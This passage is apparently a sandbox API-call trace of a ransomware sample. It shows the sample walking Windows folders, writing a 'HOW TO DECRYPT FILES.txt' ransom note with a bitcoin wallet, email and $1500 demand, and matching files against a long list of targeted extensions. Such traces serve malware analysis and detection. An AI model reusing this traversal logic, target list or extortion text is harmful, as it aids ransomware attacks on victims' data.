ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60d8b540, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e6d7c16069b54ab5e0dba436a9eb0e01", cAlternateFileName="E6D7C1~1")) returned 0 [0111.322] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.322] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x302e3031, dwReserved1=0x2e696e2e, cFileName="Microsoft.Vsa", cAlternateFileName="MICROS~1.VSA")) returned 1 [0111.322] lstrcmpA (lpString1=".", lpString2="Microsoft.Vsa") returned -1 [0111.323] lstrcmpA (lpString1="..", lpString2="Microsoft.Vsa") returned -1 [0111.323] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.323] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Vsa" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa" [0111.323] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa") returned 60 [0111.323] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.323] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.323] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.323] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.323] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.323] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bb235aa98e8e876f0f641c4d486f9151", cAlternateFileName="BB235A~1")) returned 1 [0111.323] lstrcmpA (lpString1=".", lpString2="bb235aa98e8e876f0f641c4d486f9151") returned -1 [0111.323] lstrcmpA (lpString1="..", lpString2="bb235aa98e8e876f0f641c4d486f9151") returned -1 [0111.323] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\*.*") returned="*.*" [0111.324] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\", lpString2="bb235aa98e8e876f0f641c4d486f9151" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151" [0111.324] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151") returned 93 [0111.324] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.343] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.343] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2da894d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2da894d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2da894d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.344] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.344] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.344] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d827ec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe2d827ec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe2d827ec, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x19e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.345] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.345] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Vsa.ni.dll") returned -1 [0111.345] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Vsa.ni.dll") returned -1 [0111.345] lstrcmpiA (lpString1="", lpString2="Microsoft.Vsa.ni.dll") returned -1 [0111.345] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\*.*") returned="*.*" [0111.345] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\" [0111.345] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\") returned="" [0111.345] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\HOW TO DECRYPT FILES.txt" [0111.345] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.vsa\\bb235aa98e8e876f0f641c4d486f9151\\how to decrypt files.txt")) returned 0xffffffff [0111.345] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.vsa\\bb235aa98e8e876f0f641c4d486f9151\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.346] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.346] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.348] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.348] CloseHandle (hObject=0x90) returned 1 [0111.348] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\", lpString2="Microsoft.Vsa.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll" [0111.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.ems") returned 0 [0111.348] lstrlenA (lpString="*.ems") returned 5 [0111.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.db") returned 0 [0111.348] lstrlenA (lpString="*.db") returned 4 [0111.348] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.dbf") returned 0 [0111.349] lstrlenA (lpString="*.dbf") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.myox") returned 0 [0111.349] lstrlenA (lpString="*.myox") returned 6 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.myo") returned 0 [0111.349] lstrlenA (lpString="*.myo") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qbw") returned 0 [0111.349] lstrlenA (lpString="*.qbw") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qbb") returned 0 [0111.349] lstrlenA (lpString="*.qbb") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qbm") returned 0 [0111.349] lstrlenA (lpString="*.qbm") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qbo") returned 0 [0111.349] lstrlenA (lpString="*.qbo") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qbx") returned 0 [0111.349] lstrlenA (lpString="*.qbx") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qba") returned 0 [0111.349] lstrlenA (lpString="*.qba") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qby") returned 0 [0111.349] lstrlenA (lpString="*.qby") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qbj") returned 0 [0111.349] lstrlenA (lpString="*.qbj") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.ofx") returned 0 [0111.349] lstrlenA (lpString="*.ofx") returned 5 [0111.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.qif") returned 0 [0111.350] lstrlenA (lpString="*.qif") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mye") returned 0 [0111.350] lstrlenA (lpString="*.mye") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mbox") returned 0 [0111.350] lstrlenA (lpString="*.mbox") returned 6 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.eml") returned 0 [0111.350] lstrlenA (lpString="*.eml") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.pst") returned 0 [0111.350] lstrlenA (lpString="*.pst") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.ost") returned 0 [0111.350] lstrlenA (lpString="*.ost") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.idx") returned 0 [0111.350] lstrlenA (lpString="*.idx") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.dbx") returned 0 [0111.350] lstrlenA (lpString="*.dbx") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.sql") returned 0 [0111.350] lstrlenA (lpString="*.sql") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mdb") returned 0 [0111.350] lstrlenA (lpString="*.mdb") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.fdb") returned 0 [0111.350] lstrlenA (lpString="*.fdb") returned 5 [0111.350] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.wab") returned 0 [0111.350] lstrlenA (lpString="*.wab") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.dat") returned 0 [0111.351] lstrlenA (lpString="*.dat") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.txt") returned 0 [0111.351] lstrlenA (lpString="*.txt") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.jpeg") returned 0 [0111.351] lstrlenA (lpString="*.jpeg") returned 6 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.jpg") returned 0 [0111.351] lstrlenA (lpString="*.jpg") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.png") returned 0 [0111.351] lstrlenA (lpString="*.png") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.php") returned 0 [0111.351] lstrlenA (lpString="*.php") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.cs") returned 0 [0111.351] lstrlenA (lpString="*.cs") returned 4 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.cpp") returned 0 [0111.351] lstrlenA (lpString="*.cpp") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.rar") returned 0 [0111.351] lstrlenA (lpString="*.rar") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.zip") returned 0 [0111.351] lstrlenA (lpString="*.zip") returned 5 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.html") returned 0 [0111.351] lstrlenA (lpString="*.html") returned 6 [0111.351] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.htm") returned 0 [0111.351] lstrlenA (lpString="*.htm") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.xlsx") returned 0 [0111.352] lstrlenA (lpString="*.xlsx") returned 6 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.xls") returned 0 [0111.352] lstrlenA (lpString="*.xls") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mp4") returned 0 [0111.352] lstrlenA (lpString="*.mp4") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.ppt") returned 0 [0111.352] lstrlenA (lpString="*.ppt") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.pptx") returned 0 [0111.352] lstrlenA (lpString="*.pptx") returned 6 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.doc") returned 0 [0111.352] lstrlenA (lpString="*.doc") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.dot") returned 0 [0111.352] lstrlenA (lpString="*.dot") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.docx") returned 0 [0111.352] lstrlenA (lpString="*.docx") returned 6 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.7z") returned 0 [0111.352] lstrlenA (lpString="*.7z") returned 4 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.tar") returned 0 [0111.352] lstrlenA (lpString="*.tar") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.bz2") returned 0 [0111.352] lstrlenA (lpString="*.bz2") returned 5 [0111.352] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.gz") returned 0 [0111.353] lstrlenA (lpString="*.gz") returned 4 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.mkv") returned 0 [0111.353] lstrlenA (lpString="*.mkv") returned 5 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.eml") returned 0 [0111.353] lstrlenA (lpString="*.eml") returned 5 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.msg") returned 0 [0111.353] lstrlenA (lpString="*.msg") returned 5 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.edb") returned 0 [0111.353] lstrlenA (lpString="*.edb") returned 5 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.accdb") returned 0 [0111.353] lstrlenA (lpString="*.accdb") returned 7 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.odb") returned 0 [0111.353] lstrlenA (lpString="*.odb") returned 5 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.java") returned 0 [0111.353] lstrlenA (lpString="*.java") returned 6 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.asm") returned 0 [0111.353] lstrlenA (lpString="*.asm") returned 5 [0111.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.pfx") returned 0 [0111.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Vsa\\bb235aa98e8e876f0f641c4d486f9151\\Microsoft.Vsa.ni.dll", pszSpec="*.pem") returned 0 [0111.354] PathMatchSpecA 